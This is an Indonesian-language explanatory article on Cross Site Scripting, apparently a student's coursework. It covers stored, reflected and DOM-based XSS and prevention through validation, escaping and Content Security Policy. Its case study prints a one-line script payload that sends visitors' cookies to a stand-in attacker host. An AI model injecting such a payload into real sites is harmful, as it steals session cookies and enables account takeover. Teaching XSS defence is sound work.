Pendahuluan
Di dunia digital, tidak semua ancaman terlihat. Banyak serangan siber yang terjadi diam-diam, tapi dampaknya bisa sangat besar. Salah satu contohnya adalah XSS atau Cross Site Scripting. Serangan ini sering luput dari perhatian karena berjalan di balik layar, tanpa suara, dan tanpa tanda bahaya. Untuk memahaminya dengan lebih mudah, pendekatan visual bisa membantu kita melihat bagaimana serangan XSS bekerja dari awal sampai akhir.

Apa Itu XSS dan Mengapa Berbahaya?
XSS adalah teknik serangan di mana penyerang menyisipkan skrip berbahaya ke dalam halaman web. Skrip ini kemudian dijalankan langsung oleh browser pengguna yang membuka halaman tersebut. Karena tampaknya berasal dari situs resmi, pengguna tidak merasa curiga.

Serangan ini berbahaya karena dapat mencuri data penting seperti cookie, informasi login, atau bahkan mengambil alih akun pengguna. Selain itu, XSS bisa mengubah tampilan halaman atau mengarahkan pengguna ke situs palsu.

Visualisasi Cara Kerja XSS
Mari kita bayangkan bagaimana serangan XSS terjadi dalam bentuk langkah demi langkah:

Tahap pertama, penyerang memasukkan skrip ke dalam kolom input seperti komentar, formulir kontak, atau link yang dibagikan melalui URL. Skrip ini mungkin hanya satu baris kode, tapi tujuannya sangat jahat.

Tahap kedua, skrip tersebut tersimpan di server (jika itu Stored XSS) atau langsung diproses (jika itu Reflected XSS). Situs kemudian menampilkan data itu kembali tanpa menyaringnya.

Tahap ketiga, pengguna lain membuka halaman tersebut seperti biasa. Mereka membaca komentar atau mengisi formulir, tidak tahu bahwa skrip tersembunyi sedang menunggu dijalankan.

Tahap keempat, browser menjalankan skrip itu secara otomatis. Tidak ada peringatan. Tidak ada tanda. Tapi data pengguna seperti cookie sudah terkirim ke hacker, atau akun mereka bisa langsung diambil alih.

Jenis XSS dalam Bentuk Visual
Ada beberapa jenis XSS yang bisa dijelaskan secara visual.

Stored XSS adalah ketika skrip jahat disimpan di database situs. Setiap pengguna yang membuka halaman itu akan langsung menjadi korban.

Reflected XSS biasanya terjadi melalui URL. Saat pengguna mengklik link tertentu, skrip langsung dijalankan berdasarkan apa yang tertulis di URL.

DOM-based XSS terjadi karena manipulasi elemen halaman secara langsung oleh skrip di browser. Jenis ini lebih tersembunyi karena tidak melibatkan server secara langsung.

Studi Kasus Ilustratif
Bayangkan ada situs blog dengan kolom komentar. Seorang penyerang menulis komentar seperti ini:
<script>document.location='http://hacker.com?cookie='+document.cookie</script>

Komentar itu terlihat biasa, tapi saat pengguna lain membuka halaman tersebut, skrip berjalan dan mengirim cookie mereka ke server penyerang. Dalam hitungan detik, data pribadi mereka bisa dicuri.

Bagaimana Menghindari Cyber Intruder XSS
Ada beberapa langkah yang bisa dilakukan untuk mencegah serangan XSS. Pertama, selalu validasi input dari pengguna dan bersihkan karakter berbahaya sebelum menyimpannya atau menampilkannya kembali.

Kedua, gunakan teknik escaping saat menampilkan data agar skrip tidak bisa dijalankan. Hindari menggunakan innerHTML secara langsung, karena metode ini bisa menjalankan skrip tanpa filter.

Ketiga, terapkan Content Security Policy (CSP) untuk membatasi jenis skrip yang boleh dijalankan di browser. Dan terakhir, gunakan framework modern dan alat keamanan yang sudah teruji untuk membantu mengurangi risiko XSS sejak awal pembangunan situs.

Kesimpulan
XSS adalah penyusup diam-diam di dunia web. Ia bekerja tanpa terlihat, tapi bisa menyebabkan kerusakan besar. Dengan memahami cara kerjanya secara visual, kita bisa lebih mudah mengenali dan mencegahnya. Keamanan web bukan hanya tugas teknis, tapi juga tanggung jawab bersama antara pengembang dan pengguna. Lebih baik mencegah dari awal daripada menyesal setelah diserang.

NAMA: AISYA

NIM: 23156201029

PRODI: SISTEM KOMPUTER